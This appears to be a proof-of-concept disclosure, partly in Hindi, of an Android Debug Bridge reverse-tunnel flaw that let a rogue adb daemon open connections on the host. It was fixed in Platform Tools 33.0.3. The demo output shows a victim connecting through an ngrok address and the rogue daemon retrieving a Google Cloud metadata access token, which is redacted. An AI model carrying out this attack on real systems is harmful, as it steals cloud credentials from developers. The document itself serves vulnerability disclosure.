
adb में दोष का शोषण करने के लिए प्रूफ ऑफ कॉन्सेप्ट कोड जो होस्ट पर मनमानी गंतव्यों के लिए नेटवर्क कनेक्शन खोलने की अनुमति देता था
Android Debug Bridge (adb) में रिवर्स टनल सुविधा कमजोर थी क्योंकि यह दुर्भावनापूर्ण adb डेमॉन को होस्ट पर मनमाने होस्ट/पोर्ट और यूनिक्स डोमेन सॉकेट से कनेक्शन खोलने की अनुमति देती थी।
Attacker window (where the rogue daemon is running):
$ ./adb_rogue_daemon.py
Victim window (a GCE VM in this example):
$ adb connect serverip:5556
connected to 8.tcp.ngrok.io:19076
Attacker window:
...
Wooho, we got response for our rouge request!
b'HTTP/1.0 200 OK\r\nMetadata-Flavor: Google\r\nContent-Type: application/json\r\nDate: Thu, 04 Nov 2021 22:31:21 GMT\r\nServer: Metadata Server for VM\r\nConnection: Close\r\nContent-Length: 1049\r\nX-XSS-Protection: 0\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n{"access_token":"ya29.c.KpgBFghLV[redacted].....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................'
<<< b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
('....', (774778414, 774778414, 774778414, 774778414, 774778414), b'...........................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba')
इसे Platform Tools 33.0.3 में ठीक किया गया था।